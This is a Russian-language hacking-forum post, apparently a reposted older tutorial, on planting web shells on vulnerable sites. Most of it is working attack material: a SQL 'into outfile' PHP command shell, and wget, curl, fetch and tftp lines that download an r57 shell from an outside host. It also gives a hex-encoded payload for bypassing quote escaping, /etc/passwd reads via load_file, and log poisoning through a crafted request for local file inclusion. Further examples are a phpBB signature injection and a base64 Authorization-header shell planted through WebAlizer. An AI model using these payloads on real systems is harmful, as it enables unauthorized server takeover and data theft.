• XSS.stack #1 – первый литературный журнал от юзеров форума

Заливка shell кода на уязвимый сайт

helmered

HDD-drive
Пользователь
Регистрация
20.12.2018
Сообщения
25
Реакции
52
В данной статье я расскажу про большинство паблик способов.

Чтоб было легче мы разделим эту статью на 3 части, первая будет рассказывать как это сделать с помощью MySql, вторая через логи апача и третья через паблик баги.


Часть 1

В этой части я расскажу как с помощью mysql injection можно получить шелл.

Самый быстрый способ это конечно сделать следующую команду, когда мы знаем где находится папка htdocs:

select '<? error_reporting(0); system($_GET["XXL"]); ?>' into outfile '/var/www/htdocs/1.php';

Так как не все знают SQL и PHP я быстро рас кажу что делает наша команда, что это за шелл и как его юзать.

С командой "select..." мы записывает нашу строку, что в кавычках ('<?...?>'), в файл который будет находится по адрессу /var/www/htdocs/1.php.

Чтоб заюзать наш мего шелл, нам нужно будет обратится к файлу 1.php и передать один параметр "XXL" на выполнение.

Пример: http://www.123.com/1.php?XXL=pwd

То что было послано параметром "XXL" будет послано на выполнение пхп функции system, что передаст наш код в консоль и сделает вывод в наш скрипт. первый вызов говорит чтоб пхп скрипт не показывал ошыбок (это сделано для того чтоб никто не нашел наш шелл, так как если бы кто то хотел его найти ,не админ, и перепробовал бы все файлы он бы увидел примерно такую ошыбку "cannot execute blank command") . Ну конечно этот шелл очень лимитирован (но он не палится антивирусами), если админ умный и выключил команду system, но есть несколько аналогов: shell_exec, exec, passthru.

Ну а чтоб закачать большой шелл (например старый добрый r57), мы его не смогли бы записать сразу одним мускл запросом так как в большинстве серверов максимальный размер урла состоит из 256 знаков(это можно обойти с POST запросом), потому нам нужно будет выполнить одну из следующих команд (чтоб скачать с нашего сервера саму шелл):

Код:
wget http://www.shellhost.com/r57.txt -O 2.php

curl http://www.shellhost.com/r57.txt > 2.php

fetch http://www.shellhost.com/r57.txt; mv r57.txt 2.php

Я дал три разных примера так как на некоторых системах стоит только wget или curl или fetch.

Также, если у нас хост на виндовсе (версии старее висты), то можно сделать следующие:

tftp get www.shellhost.com r57.txt; move r57.txt 2.php.

Вернемся к тому что если у нас нету прав (на shell_exec, exec, passthru,system) чтоб залить шелл, но не стоит растрачиваться, так как php язык больших возможностей )), далее приведен другой шелл:

select '<? fwrite('4.php', 'w'), file_get_contents('http://www.shellhost.com/r57.txt', 'r')); ?>' into outfile '/var/www/htdocs/3.php';

Етот небольшой код откроет для записи файл 4.php и запишет в него то что отркоет по адресу http://www.shellhost.com/r57.txt.

Конечно у нас есть проблема, если у сервера включены magic quotes тогда перед каждой ковычкой у нас будет стоять \, если бы проверка была бы только на первую часть '<? fwrite(fopen('4.php', 'w'), file_get_contents('http://www.shellhost.com/r57.txt', 'r')); ?>', то мы бы легко переписали наш код в хекс и сделали бы вот такой запрос(советую юзать http://centricle.com/tools/ascii-hex/):

Код:
select 0х3c3f206677726974652827342e706870272c20277727292c2066696c655f6765745f636f6e7465

6e7473202827687474703a2f2f7777772e7368656c6c686f73742e636f6d2f7235372e747874272c

2027722729293b203f3e into outfile '/var/www/htdocs/3.php';

Нельзя забывать про то что мы с помощью мускла можем читать файлы юзая load_file, и с ним можно найти много чего интересного, пример использования:

select load_file('/etc/passwd');

тут уже без проблем можно юзать хекс ).

Часть 2

Ну перейдем ко второй части. В ней нам понадобится запуск скриптов на сервере(LFI).

Если у нас еще остался sql injection и у нас нету пути к папке htdocs или magic quotes будет включен но, мы знаем где находится папка с логами, тогда этот способ для нас ).

Для начяла нам нужно записать наш шелл в error_log или в access_log (второй почти не используется на больших серверах), и самый легкий способ ето с генерировать ошибку сервера, почти всегда хватает 404 (not found) потому откроем телнет к серверу который собираемся ломать на 80 порт и пошлем ему следующее:

Код:
GET /<? fwrite('4.php', 'w'), file_get_contents('http://www.shellhost.com/r57.txt', 'r')); ?> HTTP/1.1

HOST: www.123.com

Иногда ето не пройдет и нам нужно будет послать шелл в параметре Refferer или User-Agent.

Ну представим что у нас все прошло гладко, теперь нам нужно заинклудить наш файл чтоб он запустился и записал наш шелл на сервер ).

Часть 3

В третей части мы увидим несколько примеров существующих паблик багов.

Один из них это баг в старых версиях пхпбб, когда у нас была админка и нам нужен был шелл, мы бы могли создать файл, и сделать "восстановление базы данных", вот с таким кодом можно было поменять юзеровскую страничку юзеро которому ид был 111:

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:fwrite(fopen($_GET[\'a\'], $_GET[\'b\']), file_get_contents($_GET[\'c\'], $_GET[\'d\']));' WHERE user_id=111;

Можно было из своего профиля или из файла memberlist.php?mode=viewprofile&u=111 залить шелл, для етого нужно было сделать следующий запрос:

memberlist.php?mode=viewprofile&u=173&а=shell.php&b=w&c=http://www.shellhost.com/r57.txt&d=r

Ну и грех не вспомнить про банальные заливки шелов где нету проверки на названия файла, например In-Portal v 4.3.1 разрешал на место рисунка заливать файл с пхп расширением, и заходить к нему по адресу: /kernel/images/shell.php.


Заливаем шелл при LFI через WebAlizer

Часто бывает что при нахождении уязвимости типа LFI нет возможности закачать шелл т.е.

1) Нет форумов и скриптов которые сохраняют файлы

2) Не найдены логи апача или иные места возможного залива шелла или к ним нет доступа



Прорыв обороны может быть осуществлен через сервис WebAlizer.



Суть сервиса - ежедневно создавать статистику работы веб сервера анализируя его логи.

Ход действий:

1. Берем подопытный сайт с LFI

Также необходимо присутствие там сервиса WebAlizer

2. Узнаем путь к папке WebAlizer'a

Для этого просто смотрим файл /etc/passwd

находим там юзверя с именем webalizer и смотрим его домашнюю папку.

3. Смотрим статистику WebAlizer'a

Осуществляем это всё через всё тотже LFI

типа script.php?file=../../../../../../../../../../домашняя_папка_WebAlizer'a/index.html

От туда берем ссылку на статистику последнего месяца. А именно имя файла. Чтото типа такого:usage_200804.html

4. Выбираем место для шелла

Чаще всего подходящим местом бывает имя пользователя, потому что редко встречается и довольно легко попадает в таблицу статистики.

5. Заливка шелла

Браузер не даст нам просто так закинуть шелл в имеи пользователя, по этому сделаем запрос в ручную.

Который потом отошлем через телнет или Ip-Tools. Промежуточный шелл будет у нас таким:

<? system($cmd); ?>

Для возможности заливки необходимо составить запрос авториации примерно такого вида:

Код:
GET / HTTP/1.1

Host: site.com

Authorization: Basic PD8gc3lzdGVtKCRjbWQpOyA/Pjo=

Эта строка представляет собой текст base64('<? system($cmd); ?>: ');

Обратите внимание на то, что в конце обязательно должно стоять двоеточие и пробел. (\\В видео есть ошибка в этом месте\\)

После отправки данного запроса необходимо подождать около суток, чтобы WebAlizer провел анализ логов апача

6. Непосредственно выполнение шелла

После анализа логов будет обновлен файл статистики текущего месяца в котором будет уже наш шелл который мы выполним так:site.com/scritp.php?file=../../../../../../../../домашняя_папка_WebAlizer'a/usage_200804.html&cmd=ls
--------------------------------------------------------------------------------------
Честно не помню откуда я это взял, но это не мое, валялось на диске в txt файле, чуть редакнул.
Если кто знает подсобите.

©jen140 (Banned on exploit)
Статья 11 года, думаю можно ее оставить =)
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх